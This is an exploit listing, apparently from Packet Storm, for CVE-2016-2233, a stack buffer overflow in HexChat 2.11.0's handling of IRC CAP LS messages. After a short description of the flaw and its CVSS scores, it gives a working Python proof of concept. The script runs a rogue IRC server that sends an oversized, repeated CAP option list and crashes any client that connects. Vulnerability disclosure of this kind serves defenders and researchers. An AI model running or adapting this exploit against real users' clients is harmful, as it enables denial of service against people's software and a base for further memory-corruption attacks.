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Hexchat IRC Client 2.11.0 CAP LS Handling Buffer Overflow

2016-04-0500:00:00
PizzaHatHacker
packetstormsecurity.com
20

0.018 Low

EPSS

Percentile

88.3%

`#!/usr/bin/python  
#  
####################  
# Meta information #  
####################  
# Exploit Title: Hexchat IRC client - CAP LS Handling Stack Buffer Overflow  
# Date: 2016-02-07  
# Exploit Author: PizzaHatHacker  
# Vendor Homepage: https://hexchat.github.io/index.html  
# Software Link: https://hexchat.github.io/downloads.html  
# Version: 2.11.0  
# Tested on: HexChat 2.11.0 & Linux (64 bits) + HexChat 2.10.2 & Windows 8.1 (64 bits)  
# CVE : CVE-2016-2233  
  
#############################  
# Vulnerability description #  
#############################  
'''  
Stack Buffer Overflow in src/common/inbound.c :  
void inbound_cap_ls (server *serv, char *nick, char *extensions_str, const message_tags_data *tags_data)  
  
In this function, Hexchat IRC client receives the available extensions from   
the IRC server (CAP LS message) and constructs the request string to indicate  
later which one to use (CAP REQ message).  
This request string is stored in the fixed size (256 bytes) byte array  
'buffer'. It has enough space for all possible options combined, BUT  
it will overflow if some options are repeated.  
  
CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:P)  
CVSS Base Score : 7.5  
Impact Subscore : 6.4  
Exploitability Subscore : 10  
'''  
  
####################  
# Proof of Concept #  
####################  
'''  
* Install Hexchat IRC Client  
* Run this Python script on a (server) machine  
* Connect to the server running the script  
* Results : Hexchat will crash (most probably access violation/segmentation fault)  
'''  
  
import socket  
import sys  
import time  
  
# Exploit configuration  
HOST = ''  
PORT = 6667  
SERVERNAME = 'irc.example.com'  
OPTIONS = 'multi-prefix ' * 100 # 13*100 = 1300 bytes > 256 bytes  
  
# Create server socket  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.bind((HOST, PORT)) # Bind to port  
sock.listen(0) # Start listening on socket  
  
print 'Server listening, waiting for connection...'  
conn, addr = sock.accept()  
  
print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'  
conn.send(':' + SERVERNAME + ' CAP * LS :' + OPTIONS + '\r\n')  
  
# Wait and close socket  
conn.recv(256)  
sock.close()  
  
print 'Done.'  
  
except socket.error as msg:  
print 'Network error : ' + str(msg[0]) + ' ' + msg[1]  
  
`

0.018 Low

EPSS

Percentile

88.3%